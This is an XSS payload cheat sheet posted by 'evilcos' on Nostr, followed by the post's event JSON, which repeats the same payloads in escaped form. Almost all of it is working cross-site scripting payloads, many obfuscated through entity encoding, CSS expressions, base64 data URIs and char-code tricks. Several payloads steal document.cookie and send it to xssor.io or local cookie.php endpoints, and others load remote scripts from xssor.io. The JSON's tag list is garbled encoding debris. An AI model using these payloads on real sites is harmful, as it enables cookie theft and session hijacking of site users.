>"'
'';!--"<XSS>=&{()}
'';!--"<script>alert(0);</script>=&{()}
'';!--"<script>alert(0);</script>=&{(alert(1))}
`><script>alert(0)</script>
<script>a=eval;b=alert;a(b(/i/.source));</script>
<code onmouseover=a=eval;b=alert;a(b(/g/.source));>HI</code>
<script src=http://xssor.io/xss.js></SCRIPT>;
<script>location.href='http://127.0.0.1:8088/cookie.php?cookie='+escape(document.cookie);</script>;
'"><img onerror=alert(0) src=><"'
<img src=http://127.0.0.1/myspace.asp>;
<img src=jav ascr	ipt:al ert(0)>
<img src=jav ascr	ipt:i="x=document.createElement('script');x.src='http://xssor.io/xn.js';x.defer=true;document.getElementsByTagName('head')[0].appendChild(x)";execScript(i)>;
<img src=jav ascr	ipt:i="x=docu ment.createElement('\u0053\u0043\u0052\u0049\u0050\u0054');x.src='http://xssor.io/xn.js';x.defer=true;doc ument.getElementsByTagName('head')[0].appendChild(x)";execScri pt(i)>;
new Image().src="http://xssor.io/phishing/cookie.asp?cookie="+escape(document.cookie);
<iframe src=http://www.baidu.com/></iframe>;
<body background=javascript:alert(/xss/)></body>
body{xxx:expression(eval(String.fromCharCode(105,102,40,33,119,105,110,100,111,119,46,120,41,123,97,108,101,114,116,40,39,120,115,115,39,41,59,119,105,110,100,111,119,46,120,61,49,59,125)))}
<style>body{width:ｅxpression(parent.document.write(unescape('%3Cscript%20src%3Dhttp%3A//xssor.io/phishing/%3E%3C/script%3E')));}</style>
a{xxx:expression(if(!window.x){alert('xss');window.x=1;})}
a{xxx:\65\78\70\72\65\73\73\69\6f\6e\28\69\66\28\21\77\69\6e\64\6f\77\2e\78\29\7b\61\6c\65\72\74\28\27\78\73\73\27\29\3b\77\69\6e\64\6f\77\2e\78\3d\31\3b\7d\29}
body{background:url("javascript:alert('xss')")}
body{background:url(JavAs cr
ipt:alert(0))}
<style>@im\port'\ja\vasc\ript:alert("xss")';</style>
@i\6d\70o\72\74'javascr\ipt:alert(document.cookie)';
<div style=xss:expres\sion(if(!window.x){alert('xss');window.x=1;})></div>
alert(String(/xss/).substr(1,3))
alert(/xss/.source)
<a onclick="i=createElement('iframe');i.src='javascript:alert(/xss/)';x=parentNode;x.appendChild(i);" href="#">Test</a>
x='\x61\x6c\x65\x72\x74\x28\x31\x29';new Function(x)()
<a href="javascript:alert(1)">Test</a>
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgvWFNTLyk8L3NjcmlwdD4=">Test</a>
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">
<div style="-moz-binding:url(http://xssor.io/0.xml#xss);x:expression((window.r!=1)?eval('x=String.fromCharCode;scr=document.createElement(x(115,99,114,105,112,116));scr.setAttribute(x(115,114,99),x(104,116,116,112,58,47,47,119,119,119,46,48,120,51,55,46,99,111,109,47,48,46,106,115));document.getElementById(x(105,110,106,101,99,116)).appendChild(scr);window.r=1;'):1);"id="inject">
javascript:document.scripts[0].src='http://127.0.0.1/yy.js';void(0);
<a href="javascript:x=open('http://www.xiaonei.com/';);setInterval (function(){try{x.frames[0].location={toString:function(){return%20'http://xssor.io/Project/poc/docshell.html';;}}}catch(e){}},3000);void(1);">Test</a>
<script/onreadystatechange=alert(1)>
<script/src=data:text/javascript,alert(4)></script>
javascript:document.cookie=window.prompt("edit cookie:",document.cookie);void(0);
<input id=11 name=s value=`aa`onclick=alert(/xss/)>
<input value:aa/onclick=alert(/xss/)>
<li style=list-style:url() onerror=alert(1)>
<div style=content:url(data:image/svg+xml,%3Csvg/%3E);visibility:hidden onload=alert(1)></div>
<head><base href="javascript://"></head><body><a href="/. /,alert(1)//#">XXX</a></body>
<OBJECT CLASSID="clsid:333C7BC4-460F-11D0-BC04-0080C7055A83"><PARAM NAME="DataURL" VALUE="javascript:alert(1)"></OBJECT>
<div id="div1"><input value="``onmouseover=alert(1)"></div> <div id="div2"></div><script>document.getElementById("div2").innerHTML = document.getElementById("div1").innerHTML;</script>
[!] ie only:
<div style=width:1px;filter:glow onfilterchange=alert(1)>x
<title onpropertychange=alert(1)></title><title title=>
<!--[if]><script>alert(1)</script --> <!--[if<img src=x onerror=alert(1)//]> -->
[!] parsing error:
<!--<img src="--><img src=x onerror=alert(1)//">
<comment><img src="</comment><img src=x onerror=alert(1))//">
<![><img src="]><img src=x onerror=alert(1)//">
<style><img src="</style><img src=x onerror=alert(1)//">
<b <script>alert(1)</script>0
<x '="foo"><x foo='><img src=x onerror=alert(1)//'>
[!] special tags parsing issues, from: http://html5sec.org/#html
<? foo="><script>alert(1)</script>">
<! foo="><script>alert(1)</script>">
</ foo="><script>alert(1)</script>">
<? foo="><x foo='?><script>alert(1)</script>'>">
<! foo="[[[Inception]]"><x foo="]foo><script>alert(1)</script>">
<% foo><x foo="%><script>alert(1)</script>">
[!] fuzzing tips:
<img[a][b][c]src[d]=x[e]onerror=[f]"alert(1)">
<a href=javascript:alert(1)>XXX</a>
[!] utf-7 bom
+/v8
+/v9
+/v+
+/v/
[!] html5sec.org
<svg/onload=alert(1)>
<form id="test"></form><button form="test" formaction="javascript:alert(1)">X</button>
<video><source onerror="alert(1)">
<iframe srcdoc="<svg onload=alert(1)>⃒"></iframe>
<frameset onload=alert(1)>
<!--<img src="--><img src=x onerror=alert(1)//">
<style><img src="</style><img src=x onerror=alert(1)//">
<title><img src="</title><img src=x onerror=alert(1)//"> // by evilcos
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
<frameset onpageshow="alert(1)">
<body onpageshow="alert(1)">
<script>`</div><div>`-alert(123)</script>
<script>`</div><div>`+alert(123)</script>
<script>`</div><div>`/alert(123)</script>
<script>`</div><div>`%alert(123)</script>
<script>`</div><div>`==alert(123)</script>
<script>`</div><div>`/=alert(123)</script> # Only Edge
<script>`</div><div>`*=alert(123)</script> # Only Edge
<img/src=="x onerror=alert(1)//">
<div/style=="x onclick=alert(1)//">XSS'OR
<div style=behavior:url(" onclick=alert(1)//">XSS'OR
<div style=x:x(" onclick=alert(1)//">XSS'OR
<div> <a href=/**/alert(1)>XSS</a><base href="javascript:\ </div><div id="x"></div>
<div><base href="javascript:/"><a href=/**/alert(1)>XSS</a></div>
<div><base href="javascript:\"><a href=/**/alert(1)>XSS</a></div>
<div><base/href=javascript:/><a href=/*'"+-/%~.,()^&$#@!*/alert(1)>XSS</a></div>
<noembed><img src="</noembed><iframe onload=alert(1)>" /></noembed>
<img/src/onerror=import(`https://xssor.io/s/x.js`)>
[!] More will be added......
[!] By evilcos
evilcos / Cos
npub1n2…866nz
2023-02-05 05:34:12
Author Public Key
npub1n2prk4drfh570tc7qzvlcaa3pnj2fud7vu4jshymfp3w8sx2evpqx866nzPublished at
2023-02-05 05:34:12Event JSON
{
"id": "b7d09e40466835c0b2a326b8811f28c321f3266b72fd2e3a52c8e02cc23f9c4c",
"pubkey": "9a823b55a34de9e7af1e0099fc77b10ce4a4f1be672b285c9b4862e3c0cacb02",
"created_at": 1675575252,
"kind": 1,
"tags": [
[
"t",
"04jav"
],
[
"t",
"13"
],
[
"t",
"09"
],
[
"t",
"13"
],
[
"t",
"04jav"
],
[
"t",
"13"
],
[
"t",
"09"
],
[
"t",
"04jav"
],
[
"t",
"13"
],
[
"t",
"09"
],
[
"t",
"13"
],
[
"t",
"13"
],
[
"t",
"13"
],
[
"t",
"92sion"
],
[
"t",
"106"
],
[
"t",
"97"
],
[
"t",
"118"
],
[
"t",
"97"
],
[
"t",
"115"
],
[
"t",
"99"
],
[
"t",
"114"
],
[
"t",
"105"
],
[
"t",
"112"
],
[
"t",
"116"
],
[
"t",
"58"
],
[
"t",
"97"
],
[
"t",
"108"
],
[
"t",
"101"
],
[
"t",
"114"
],
[
"t",
"116"
],
[
"t",
"40"
],
[
"t",
"49"
],
[
"t",
"41"
],
[
"t",
"x6a"
],
[
"t",
"x61"
],
[
"t",
"x76"
],
[
"t",
"x61"
],
[
"t",
"x73"
],
[
"t",
"x63"
],
[
"t",
"x72"
],
[
"t",
"x69"
],
[
"t",
"x000070"
],
[
"t",
"x074"
],
[
"t",
"html"
],
[
"t",
"1"
],
[
"t",
"2"
],
[
"t",
"3"
],
[
"t",
"4"
],
[
"t",
"5"
],
[
"t",
"6"
],
[
"t",
"7"
],
[
"t",
"8"
],
[
"t",
"11"
],
[
"t",
"12script"
]
],
"content": "\u003e\"'\n'';!--\"\u003cXSS\u003e=\u0026{()}\n'';!--\"\u003cscript\u003ealert(0);\u003c/script\u003e=\u0026{()}\n'';!--\"\u003cscript\u003ealert(0);\u003c/script\u003e=\u0026{(alert(1))}\n`\u003e\u003cscript\u003ealert(0)\u003c/script\u003e\n\u003cscript\u003ea=eval;b=alert;a(b(/i/.source));\u003c/script\u003e\n\u003ccode onmouseover=a=eval;b=alert;a(b(/g/.source));\u003eHI\u003c/code\u003e\n\n\u003cscript src=http://xssor.io/xss.js\u003e\u003c/SCRIPT\u003e\n\u003cscript\u003elocation.href='http://127.0.0.1:8088/cookie.php?cookie='+escape(document.cookie);\u003c/script\u003e\n\n'\"\u003e\u003cimg onerror=alert(0) src=\u003e\u003c\"'\n\u003cimg src=http://127.0.0.1/myspace.asp\u003e\n\u003cimg src=\u0026#04jav\u0026#13;ascr\u0026#09;ipt:al\u0026#13;ert(0)\u003e\n\u003cimg src=\u0026#04jav\u0026#13;ascr\u0026#09;ipt:i=\"x=document.createElement('script');x.src='http://xssor.io/xn.js';x.defer=true;document.getElementsByTagName('head')[0].appendChild(x)\";execScript(i)\u003e\n\u003cimg src=\u0026#04jav\u0026#13;ascr\u0026#09;ipt:i=\"x=docu\u0026#13;ment.createElement('\\u0053\\u0043\\u0052\\u0049\\u0050\\u0054');x.src='http://xssor.io/xn.js';x.defer=true;doc\u0026#13;ument.getElementsByTagName('head')[0].appendChild(x)\";execScri\u0026#13;pt(i)\u003e\nnew Image().src=\"http://xssor.io/phishing/cookie.asp?cookie=\"+escape(document.cookie);\n\n\u003ciframe src=http://www.baidu.com/\u003e\u003c/iframe\u003e\n\n\u003cbody background=javascript:alert(/xss/)\u003e\u003c/body\u003e\nbody{xxx:expression(eval(String.fromCharCode(105,102,40,33,119,105,110,100,111,119,46,120,41,123,97,108,101,114,116,40,39,120,115,115,39,41,59,119,105,110,100,111,119,46,120,61,49,59,125)))}\n\u003cstyle\u003ebody{width:ｅxpression(parent.document.write(unescape('%3Cscript%20src%3Dhttp%3A//xssor.io/phishing/%3E%3C/script%3E')));}\u003c/style\u003e\na{xxx:expression(if(!window.x){alert('xss');window.x=1;})}\na{xxx:\\65\\78\\70\\72\\65\\73\\73\\69\\6f\\6e\\28\\69\\66\\28\\21\\77\\69\\6e\\64\\6f\\77\\2e\\78\\29\\7b\\61\\6c\\65\\72\\74\\28\\27\\78\\73\\73\\27\\29\\3b\\77\\69\\6e\\64\\6f\\77\\2e\\78\\3d\\31\\3b\\7d\\29}\nbody{background:url(\"javascript:alert('xss')\")}\nbody{background:url(JavAs\tcr\t\nipt:alert(0))}\n\u003cstyle\u003e@im\\port'\\ja\\vasc\\ript:alert(\"xss\")';\u003c/style\u003e\n@i\\6d\\70o\\72\\74'javascr\\ipt:alert(document.cookie)';\n\u003cdiv style=xss:expres\u0026#92sion(if(!window.x){alert('xss');window.x=1;})\u003e\u003c/div\u003e\n\nalert(String(/xss/).substr(1,3))\nalert(/xss/.source)\n\u003ca onclick=\"i=createElement('iframe');i.src='javascript:alert(/xss/)';x=parentNode;x.appendChild(i);\" href=\"#\"\u003eTest\u003c/a\u003e\nx='\\x61\\x6c\\x65\\x72\\x74\\x28\\x31\\x29';new Function(x)()\n\u003ca href=\"\u0026#106\u0026#97\u0026#118\u0026#97\u0026#115\u0026#99\u0026#114\u0026#105\u0026#112\u0026#116\u0026#58\u0026#97\u0026#108\u0026#101\u0026#114\u0026#116\u0026#40\u0026#49\u0026#41\"\u003eTest\u003c/a\u003e\n\u003ca href=\"data:text/html;base64,PHNjcmlwdD5hbGVydCgvWFNTLyk8L3NjcmlwdD4=\"\u003eTest\u003c/a\u003e\n\u003cobject data=\"data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==\"\u003e\n\u003cembed src=\"data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==\"\u003e\n\n\u003cdiv style=\"-moz-binding:url(http://xssor.io/0.xml#xss);x:expression((window.r!=1)?eval('x=String.fromCharCode;scr=document.createElement(x(115,99,114,105,112,116));scr.setAttribute(x(115,114,99),x(104,116,116,112,58,47,47,119,119,119,46,48,120,51,55,46,99,111,109,47,48,46,106,115));document.getElementById(x(105,110,106,101,99,116)).appendChild(scr);window.r=1;'):1);\"id=\"inject\"\u003e\n\njavascript:document.scripts[0].src='http://127.0.0.1/yy.js';void(0);\n\u003ca href=\"javascript:x=open('http://www.xiaonei.com/');setInterval (function(){try{x.frames[0].location={toString:function(){return%20'http://xssor.io/Project/poc/docshell.html';}}}catch(e){}},3000);void(1);\"\u003eTest\u003c/a\u003e\n\n\u003cscript/onreadystatechange=alert(1)\u003e\n\u003cscript/src=data:text/\u0026#x6a\u0026#x61\u0026#x76\u0026#x61\u0026#x73\u0026#x63\u0026#x72\u0026#x69\u0026#x000070\u0026#x074,alert(4)\u003e\u003c/script\u003e\njavascript:document.cookie=window.prompt(\"edit cookie:\",document.cookie);void(0);\n\u003cinput id=11 name=s value=`aa`onclick=alert(/xss/)\u003e\n\u003cinput value:aa/onclick=alert(/xss/)\u003e\n\u003cli style=list-style:url() onerror=alert(1)\u003e\n\u003cdiv style=content:url(data:image/svg+xml,%3Csvg/%3E);visibility:hidden onload=alert(1)\u003e\u003c/div\u003e\n\u003chead\u003e\u003cbase href=\"javascript://\"\u003e\u003c/head\u003e\u003cbody\u003e\u003ca href=\"/. /,alert(1)//#\"\u003eXXX\u003c/a\u003e\u003c/body\u003e\n\u003cOBJECT CLASSID=\"clsid:333C7BC4-460F-11D0-BC04-0080C7055A83\"\u003e\u003cPARAM NAME=\"DataURL\" VALUE=\"javascript:alert(1)\"\u003e\u003c/OBJECT\u003e\n\u003cdiv id=\"div1\"\u003e\u003cinput value=\"``onmouseover=alert(1)\"\u003e\u003c/div\u003e \u003cdiv id=\"div2\"\u003e\u003c/div\u003e\u003cscript\u003edocument.getElementById(\"div2\").innerHTML = document.getElementById(\"div1\").innerHTML;\u003c/script\u003e\n\n[!] ie only:\n\u003cdiv style=width:1px;filter:glow onfilterchange=alert(1)\u003ex\n\u003ctitle onpropertychange=alert(1)\u003e\u003c/title\u003e\u003ctitle title=\u003e\n\u003c!--[if]\u003e\u003cscript\u003ealert(1)\u003c/script --\u003e \u003c!--[if\u003cimg src=x onerror=alert(1)//]\u003e --\u003e\n\n[!] parsing error:\n\u003c!--\u003cimg src=\"--\u003e\u003cimg src=x onerror=alert(1)//\"\u003e\n\u003ccomment\u003e\u003cimg src=\"\u003c/comment\u003e\u003cimg src=x onerror=alert(1))//\"\u003e\n\u003c![\u003e\u003cimg src=\"]\u003e\u003cimg src=x onerror=alert(1)//\"\u003e\n\u003cstyle\u003e\u003cimg src=\"\u003c/style\u003e\u003cimg src=x onerror=alert(1)//\"\u003e\n\u003cb \u003cscript\u003ealert(1)\u003c/script\u003e0\n\u003cx '=\"foo\"\u003e\u003cx foo='\u003e\u003cimg src=x onerror=alert(1)//'\u003e\n\n[!] special tags parsing issues, from: http://html5sec.org/#html\n\u003c? foo=\"\u003e\u003cscript\u003ealert(1)\u003c/script\u003e\"\u003e\n\u003c! foo=\"\u003e\u003cscript\u003ealert(1)\u003c/script\u003e\"\u003e\n\u003c/ foo=\"\u003e\u003cscript\u003ealert(1)\u003c/script\u003e\"\u003e\n\u003c? foo=\"\u003e\u003cx foo='?\u003e\u003cscript\u003ealert(1)\u003c/script\u003e'\u003e\"\u003e\n\u003c! foo=\"[[[Inception]]\"\u003e\u003cx foo=\"]foo\u003e\u003cscript\u003ealert(1)\u003c/script\u003e\"\u003e\n\u003c% foo\u003e\u003cx foo=\"%\u003e\u003cscript\u003ealert(1)\u003c/script\u003e\"\u003e\n\n[!] fuzzing tips: \n\u003cimg[a][b][c]src[d]=x[e]onerror=[f]\"alert(1)\"\u003e\n\u003ca href=java\u0026#1\u0026#2\u0026#3\u0026#4\u0026#5\u0026#6\u0026#7\u0026#8\u0026#11\u0026#12script:alert(1)\u003eXXX\u003c/a\u003e\n\n[!] utf-7 bom\n+/v8\n+/v9\n+/v+\n+/v/\n\n[!] html5sec.org\n\u003csvg/onload=alert(1)\u003e\n\u003cform id=\"test\"\u003e\u003c/form\u003e\u003cbutton form=\"test\" formaction=\"javascript:alert(1)\"\u003eX\u003c/button\u003e\n\u003cvideo\u003e\u003csource onerror=\"alert(1)\"\u003e\n\u003ciframe srcdoc=\"\u003csvg onload=alert(1)\u0026nvgt;\"\u003e\u003c/iframe\u003e\n\u003cframeset onload=alert(1)\u003e\n\u003c!--\u003cimg src=\"--\u003e\u003cimg src=x onerror=alert(1)//\"\u003e\n\u003cstyle\u003e\u003cimg src=\"\u003c/style\u003e\u003cimg src=x onerror=alert(1)//\"\u003e\n\u003ctitle\u003e\u003cimg src=\"\u003c/title\u003e\u003cimg src=x onerror=alert(1)//\"\u003e // by evilcos\n\u003cobject data=\"data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==\"\u003e\u003c/object\u003e\n\u003cframeset onpageshow=\"alert(1)\"\u003e\n\u003cbody onpageshow=\"alert(1)\"\u003e\n\n\u003cscript\u003e`\u003c/div\u003e\u003cdiv\u003e`-alert(123)\u003c/script\u003e\n\u003cscript\u003e`\u003c/div\u003e\u003cdiv\u003e`+alert(123)\u003c/script\u003e\n\u003cscript\u003e`\u003c/div\u003e\u003cdiv\u003e`/alert(123)\u003c/script\u003e\n\u003cscript\u003e`\u003c/div\u003e\u003cdiv\u003e`%alert(123)\u003c/script\u003e\n\u003cscript\u003e`\u003c/div\u003e\u003cdiv\u003e`==alert(123)\u003c/script\u003e\n\u003cscript\u003e`\u003c/div\u003e\u003cdiv\u003e`/=alert(123)\u003c/script\u003e # Only Edge\n\u003cscript\u003e`\u003c/div\u003e\u003cdiv\u003e`*=alert(123)\u003c/script\u003e # Only Edge\n\n\u003cimg/src==\"x onerror=alert(1)//\"\u003e\n\u003cdiv/style==\"x onclick=alert(1)//\"\u003eXSS'OR\n\u003cdiv style=behavior:url(\" onclick=alert(1)//\"\u003eXSS'OR\n\u003cdiv style=x:x(\" onclick=alert(1)//\"\u003eXSS'OR\n\n\u003cdiv\u003e \u003ca href=/**/alert(1)\u003eXSS\u003c/a\u003e\u003cbase href=\"javascript:\\ \u003c/div\u003e\u003cdiv id=\"x\"\u003e\u003c/div\u003e\n\u003cdiv\u003e\u003cbase href=\"javascript:/\"\u003e\u003ca href=/**/alert(1)\u003eXSS\u003c/a\u003e\u003c/div\u003e\n\u003cdiv\u003e\u003cbase href=\"javascript:\\\"\u003e\u003ca href=/**/alert(1)\u003eXSS\u003c/a\u003e\u003c/div\u003e\n\u003cdiv\u003e\u003cbase/href=javascript:/\u003e\u003ca href=/*'\"+-/%~.,()^\u0026$#@!*/alert(1)\u003eXSS\u003c/a\u003e\u003c/div\u003e\n\n\u003cnoembed\u003e\u003cimg src=\"\u003c/noembed\u003e\u003ciframe onload=alert(1)\u003e\" /\u003e\u003c/noembed\u003e\n\n\u003cimg/src/onerror=import(`https://xssor.io/s/x.js`)\u003e\n\n[!] More will be added......\n[!] By evilcos",
"sig": "fcd900dcc64bbaf4ec9f0bc589c21f12bba8024dad8671d051e9eb08b1b24789ee6fd4291a2e5f7197e626c89bcbb44d30a6f56412038670d76953c6406f5bd5"
}